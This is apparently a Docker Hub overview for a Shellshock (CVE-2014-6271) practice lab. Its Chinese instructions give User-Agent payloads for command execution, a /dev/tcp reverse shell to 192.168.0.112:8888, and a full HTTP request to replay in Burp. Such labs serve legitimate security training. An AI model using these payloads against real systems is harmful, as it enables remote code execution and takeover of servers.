docker2mark/shellshock repository overview

Shellshock:Bash Remote Code Injection Vulnerability(CVE-2014-6271) docker run -d -p 80:80 shellshock http://127.0.0.1/cgi-bin/poc.cgi⁠ 通过 Burp 截包，修改 HTTP 请求头中 UA 字段：命令执行 User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /); 反弹 Shell 到 192.168.0.112 8888端口: User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.112/8888 0>&1; 完整的请求报文如下(可直接复制到 Burp 下重放)： GET /cgi-bin/poc.cgi HTTP/1.1 Cache-Control: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 User-Agent: () { :;};echo ; echo; echo; echo $(/bin/ls -al / ); Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8,en;q=0.6